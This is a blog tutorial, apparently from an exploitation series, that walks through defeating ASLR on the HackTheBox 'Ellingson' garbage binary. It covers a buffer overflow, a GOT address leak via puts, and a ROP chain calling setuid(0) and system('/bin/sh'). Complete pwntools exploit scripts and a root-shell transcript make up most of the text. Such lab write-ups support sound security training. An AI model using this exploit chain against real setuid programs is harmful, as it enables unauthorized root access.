First part of this series contains the necessary information.
I am using gef plugin for gdb and pwntools python module

Defeating ASLR via Address Leakage

We’re going to use the binary from the hackthebox machine Ellingson here for demonstration purposes. I do not provide the binary.
We’re gonna use two different ways to exploit the binary. First we’re gonna get the addresses manually and type them in, second we’re gonna let pwntools do everything.

Fuzzing

When you run the binary it asks for a password which you can easily get by running strings on the binary: N3veRF3@r1iSh3r3! The program then shows a menu with multiple options that don’t do much. Let’s check the enabled protections first.

gef➤  checksec 
[+] checksec for '/root/Tuts/blogposts/smashbin/aslr_leak/garbage'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial


We have no execute bit (NX) enabled. This means we can’t execute code from the stack so we’re going to use return-oriented-programming (ROP). Running a basic fuzz command to check if the password input is vulnerable to buffer overflow results in a segmentation fault.

python -c "print 'A' * 200" | ./garbage


Indeed we can see the vulnerable gets call in the auth function. I should also note that the program first checks the userid and will exit if userid is not either one of 0, 1000, or 1002.

x0040155c      mov rdi, rax       ; char *s
x0040155f      mov eax, 0
x00401564      call sym.imp.gets  ; char *gets(char *s)


Now that we have confirmed the overflow. Let’s create a cyclic de Bruijn pattern and figure out at which byte the overflow occurs.

gef➤  pattern create 200                                                                                                                                  
[+] Generating a pattern of 200 bytes                                                                                                                     
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaata
aaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa                                                                                                            
[+] Saved as '$_gef0' 
...
gef➤  run
Starting program: /root/Tuts/blogposts/smashbin/aslr_leak/garbage 
Enter access password: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaa
aaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

access denied.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401618 in auth ()
...
gef➤  pattern search $rsp
[+] Searching '$rsp'
[+] Found at offset 136 (little-endian search) likely
[+] Found at offset 129 (big-endian search) 


This shows us that the overflow occurs after the 136th byte. Let’s test it.

python -c "print 'A' * 136 + 'B' * 8" > test

gef➤  run < test                                                             
Starting program: /root/Tuts/blogposts/smashbin/aslr_leak/garbage < test
Enter access password:                                                                                                                                    
access denied.                                                                                                                                            
                                                                                                                                                          
Program received signal SIGSEGV, Segmentation fault.                                                                                                      
0x0000000000401618 in auth ()
...
gef➤  stack
────────────────────────────────────────────────────────────── Stack bottom (lower address) ──────────────────────────────────────────────────────────────
0x00007fffffffddc8│+0x0000: "BBBBBBBB"   ← $rsp ($savedip)


Indeed we’ve overwritten the $rsp with 8 bytes. We know where to place our payload so what now? Due to NX bit we can’t place shellcode in the stack and execute it. We have to use ROP gadgets (I might write about these in the future) to execute a shell. For that we need the address of a pop rdi; ret gadget, the address of the system in libc, and the “/bin/sh” string in libc. However, as we’ve learnt in the first post of this series, ASLR randomizes these addresses everytime we run the executable. The key point here is that ASLR randomizes the base address of shared libraries. Addresses of instructions in the libraries relative to the base address stays the same. Offsets of functions from the base address of libraries are available to us and are fixed. Knowing these, first we will leak the address of a libc function from the global offset table (GOT). Then we will substract the offset of the same function in libc to find the current base address of loaded libc library. Then we can use this base address to calculate the address of any libc function we want. I chose the printf function for this purpose. And how are we going to leak this address? We will simply feed the address to the puts function and write it to stdout. Puts reads the first argument from RDI register and that’s why we need the pop rdi; ret gadget. After leaking we don’t want the process to exit since this will render the leaked address invalid. Therefore we will redirect the process to the main function. So for this stage what we need are;

  1. pop rdi; ret gadget.
  2. Address of printf entry in the GOT
  3. Address of puts entry in PLT
  4. Address of main function


We can use the ropper tool available in gef to find the rop gadget and use essential linux commands to find the rest. Let’s get to it.

gef➤  ropper --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: /root/Tuts/blogposts/smashbin/aslr_leak/garbage
0x000000000040179b: pop rdi; ret; 


Address of the rop gadget is: 0x40179b

root@kali:~/Tuts/blogposts/smashbin/aslr_leak# objdump -D garbage | grep printf
0000000000401090 <printf@plt>:
  401090:       ff 25 b2 2f 00 00       jmpq   *0x2fb2(%rip)        # 404048 <printf@GLIBC_2.2.5>


Address of printf GOT entry: 0x404048

root@kali:~/Tuts/blogposts/smashbin/aslr_leak# objdump -D garbage | grep put
0000000000401050 <puts@plt>:
  401050:       ff 25 d2 2f 00 00       jmpq   *0x2fd2(%rip)        # 404028 <puts@GLIBC_2.2.5>


Address of puts PLT entry: 0x401050

root@kali:~/Tuts/blogposts/smashbin/aslr_leak# objdump -D garbage | grep main
  401194:       ff 15 56 2e 00 00       callq  *0x2e56(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:


Lastly, addres of main: 0x401619
Using these knowledge let’s code the first stage of our exploit.

from pwn import *

p = process("./garbage")

# Stage 1 (Leaking the address of printf@GLIBC)
plt_main = p64(0x401619)
plt_put = p64(0x401050)
got_printf = p64(0x404048)
pop_rdi = p64(0x40179b)
junk = "A" * 136

#Create the payload. This will print the address of printf to stdout and jump back to the main function.
payload = junk + pop_rdi + got_printf + plt_put + plt_main

#Send the payload, parse the printed address and store it.
p.sendline(payload)
p.recvuntil("denied.")
leaked_printf = p.recv()[:8].strip().ljust(8, "\00")
leaked_printf = u64(leaked_printf)
log.success("Leaked printf@GLIBC: " + hex(leaked_printf))


This will return the following output. Notice the changing address at each run.

root@kali:~/Tuts/blogposts/smashbin/aslr_leak# python exploit.py 
[+] Starting local process './garbage': pid 7677
[+] Leaked printf@GLIBC: 0x7fe5bea57440
[*] Stopped process './garbage' (pid 7677)
root@kali:~/Tuts/blogposts/smashbin/aslr_leak# python exploit.py 
[+] Starting local process './garbage': pid 7681
[+] Leaked printf@GLIBC: 0x7fb444bc4440
[*] Stopped process './garbage' (pid 7681)


The rest is easy. We will calculate the libc base address and using it we can calculate the address of any function in libc. Which addresses do we need? To spawn a shell we need the address of the system function and the address of the “/bin/sh” string. Original binary on the hackthebox machine has setuid bit so we are going to go for the extra juice here and call setuid to elevate our privieges. Summing up:

  1. Offset of system in libc
  2. Offset of setuid in libc
  3. Offset of “/bin/sh” string in libc


root@kali:~/Tuts/blogposts/smashbin/aslr_leak# readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
   235: 000000000012c3d0    99 FUNC    GLOBAL DEFAULT   14 svcerr_systemerr@@GLIBC_2.2.5
   616: 0000000000048880    45 FUNC    GLOBAL DEFAULT   14 __libc_system@@GLIBC_PRIVATE
  1426: 0000000000048880    45 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.2.5


Offset of system@GLIBC: 0x48880

root@kali:~/Tuts/blogposts/smashbin/aslr_leak# readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep setuid
    25: 00000000000cbbe0   144 FUNC    WEAK   DEFAULT   14 setuid@@GLIBC_2.2.5


Offset of setuid@GLIBC: 0xcbbe0

root@kali:~/Tuts/blogposts/smashbin/aslr_leak# strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 1881ac /bin/sh


Offset of “/bin/sh”: 0x1881ac
Let’s code the second stage of our exploit and finish it. Below is the full code.

from pwn import *

p = process("./garbage")

# Stage 1 (Leaking the address of printf@GLIBC)
plt_main = p64(0x401619)
plt_put = p64(0x401050)
got_printf = p64(0x404048)
pop_rdi = p64(0x40179b)
junk = "A" * 136

# Create the payload. This will print the address of printf to stdout and jump back to the main function.
payload = junk + pop_rdi + got_printf + plt_put + plt_main

# Send the payload, parse the printed address and store it.
p.sendline(payload)
p.recvuntil("denied.")
leaked_printf = p.recv()[:8].strip().ljust(8, "\00")
leaked_printf = u64(leaked_printf)
log.success("Leaked printf@GLIBC: " + hex(leaked_printf))

# Stage 2 (Obtaining the addresses and pwning)
libc_printf = 0x56440
libc_sys    = 0x48880
libc_exit   = 0x3dfc0
libc_sh     = 0x1881ac
libc_setuid = 0xcbbe0

# Calculate the the base address of libc
libc_main = leaked_printf - libc_printf
log.success("libc_main:" + hex(libc_main))

# Add the offsets to the base address to  obtain the addresses libc functions

sys = p64(libc_main + libc_sys)
sh = p64(libc_main + libc_sh)
setuid = p64(libc_main + libc_setuid)
# Setting 0 as the first argument to setuid will escalate to root priviliges
root = p64(0)

payload = junk + pop_rdi + root + setuid + pop_rdi + sh + sys

p.sendline(payload)
p.interactive()


Let’s give full access to this folder and enable setuid for the binary and then switch to an unprivileged user and test our exploit.

root@kali:~/Tuts/blogposts/smashbin/aslr_leak# chmod 755 * 
root@kali:~/Tuts/blogposts/smashbin/aslr_leak# chmod u+s garbage 
root@kali:~/Tuts/blogposts/smashbin/aslr_leak# su - krypt 


Run the exploit.

krypt@kali:/root/Tuts/blogposts/smashbin/aslr_leak$ python exploit.py 
[+] Starting local process './garbage': pid 8264
[+] Leaked printf@GLIBC: 0x7f5b29523440
[+] libc_main:0x7f5b294cd000
[*] Switching to interactive mode
Enter access password: 
access denied.
$ whoami
root
$  


This is the most common way to bypass ASLR. Below code does the exact same thing but instead of manually finding and typing the addresses we use some pwntools magic. The code should be easy to grasp.

from pwn import *

context(os='linux', arch='amd64')

p = process("./garbage")

garbage = ELF("garbage")
rop = ROP(garbage)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Stage 1 (Leaking the address of printf@GLIBC)
junk = "A"*136
rop.search(regs=['rdi'], order = 'regs')
rop.puts(garbage.got['printf'])
rop.call(garbage.symbols['main'])
log.info("Stage 1 ROP Chain:\n" + rop.dump())

payload = junk + str(rop)
p.sendline(payload)

p.recvuntil("denied.")
leaked_printf = p.recv()[:8].strip().ljust(8, "\00")

leaked_printf = u64(leaked_printf)
log.success("Leaked printf@GLIBC: " + hex(leaked_printf))

# Stage 2 (Obtaining the addresses and pwning)
libc.address = leaked_printf - libc.symbols['printf']
rop2 = ROP(libc)
rop2.setuid(0)
rop2.system(next(libc.search('/bin/sh\x00')))
log.info("Stage 2 ROP Chain:\n" + rop2.dump())

payload = junk + str(rop2)
p.sendline(payload)

p.interactive()